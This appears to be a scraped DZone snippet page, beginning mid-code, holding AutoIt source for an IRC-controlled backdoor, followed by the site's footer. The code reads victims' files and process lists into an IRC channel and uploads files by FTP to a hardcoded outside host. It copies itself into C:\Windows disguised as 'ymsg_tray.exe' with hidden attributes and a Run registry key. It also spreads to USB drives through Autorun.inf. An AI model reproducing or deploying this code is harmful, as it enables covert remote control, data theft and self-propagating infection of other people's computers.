"\list.txt" _FileWriteFromArray($sFile, $avCommon, 1) For $i = $command[4] to $command[5] $read = FileReadLine($command[3] &"\list.txt",$i) If $read <> "" Then _IRCSendMessage($sock,$read, $channel) Sleep(1500) EndIf Next FileDelete($command[3] & "\list.txt") EndIf EndIf EndIf ElseIf StringInStr($text, "readline@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then $read = FileReadLine ($command[2],$command[3]) _IRCSendMessage($sock,$read, $channel) EndIf ElseIf StringInStr($text, "tringlen@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then $read = FileReadLine ($command[2],$command[3]) $len = StringLen($read) _IRCSendMessage($sock,$command[2] & "-->line " & $command[3] &" : "&$len & " characters", $channel) EndIf ElseIf StringInStr($text, "tringmid@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" And $command[3] <> "" And $command[4] <> "" And $command[5] <> "" Then $read = FileReadLine ($command[2],$command[3]) $var = StringMid($read, $command[4], $command[5]) _IRCSendMessage($sock,$var & "--->chars from position" & $command[4], $channel) EndIf ElseIf StringInStr($text, "numberofprocess@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 1 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $list = ProcessList() $read = $list[0][0] _IRCSendMessage($sock,$read & " processes are running", $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "processlist@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then If ($command[3] <> "") And ($command[4] <> "") Then $list = ProcessList() FileOpen("C:\123.txt") for $i = $command[3] to $command[4] FileWrite("C:\123.txt",$list[$i][0] & "/") next $read = FileRead("C:\123.txt") _IRCSendMessage($sock, $read , $channel) FileDelete("C:\123.txt") EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "cdtray@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $drive = DriveGetDrive("CDROM") If Not @error Then CDTray($drive, "open") _IRCSendMessage($sock,"--->open" & $drive[$i] , $channel) EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "upload@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 5 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $Open = _FTPOpen("MyFTP Control") $Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4]) $Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6]) $Ftpc = _FTPClose($Open) _IRCSendMessage($sock,"--->uploaded", $channel) EndIf EndIf EndIf EndIf EndIf EndIf EndIf EndIf Next EndIf WEnd Func _IRCQuit($irc, $msg = "") If $irc = -1 Then Return 0 TCPSend($irc, "QUIT :" & $msg & @CRLF) Sleep(100) Return 1 EndFunc ;==>_IRCQuit Func _IRCLeaveChannel($irc, $msg = "", $chan = "") If $irc = -1 Then Return 0 TCPSend($irc, "PART " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCLeaveChannel Func _IRCPing($irc, $ret) If $ret = "" Then Return -1 TCPSend($irc, "PONG " & $ret & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCPing Func _IRCChangeMode($irc, $mode, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, "MODE " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCChangeMode Func _IRCSendMessage($irc, $msg, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCSendMessage Func _IRCJoinChannel($irc, $chan) If $irc = -1 Then Return 0 TCPSend($irc, "JOIN " & $chan & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCJoinChannel Func _IRCConnect($server, $port, $nick) Local $i = TCPConnect(TCPNameToIP($server), $port) If $i = -1 Then Sleep(10000) Local $i = TCPConnect(TCPNameToIP($server), $port) EndIf TCPSend($i, "NICK " & $nick & @CRLF) TCPSend($i, "USER " & $nick & " 0 0 " & $nick & @CRLF) Return $i EndFunc ;==>_IRCConnect Func attach() If Not FileExists ("C:\Windows\ymsg_tray.exe") then FileCopy(@ScriptFullPath,"C:\Windows\ymsg_tray.exe", 1) FileSetAttrib("C:\Windows\ymsg_tray.exe", "+SHR") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot") EndIf EndFunc Func protect() EndFunc Func find_usb() $1 = DriveGetDrive( "REMOVABLE" ) If Not @error Then For $i = 1 to $1[0] $fp2 = FileOpen($1[$i] & "\Autorun.inf",2) FileClose($fp2) If $fp2 <> "open=ymsg_tray.exe" Then If $1[$i] <> "A:" Then FileCopy(@ScriptFullPath, $1[$i] & "\ymsg_tray.exe", 1) Dim $autorun = "[autorun]" & @CRLF & "open=ymsg_tray.exe" filewrite($1[$i] & "\Autorun.inf","[autorun]" & @CRLF & "open=ymsg_tray.exe") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open=open") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Command=ymsg_tray.exe") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Default=1") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore=explore") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore\Command=ymsg_tray.exe") FileSetAttrib($1[$i] & "\Autorun.inf", "+SHR") FileSetAttrib($1[$i] & "\ymsg_tray.exe", "+SHR") EndIf EndIf Next EndIf EndFunc #Obfuscator_Off
June 30, 2015
· 1,322 Views

User has been successfully modified

Failed to modify user

ABOUT US

  • About DZone
  • Support and feedback
  • Community research
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 100
  • Nashville, TN 37211
  • support@dzone.com

Let's be friends: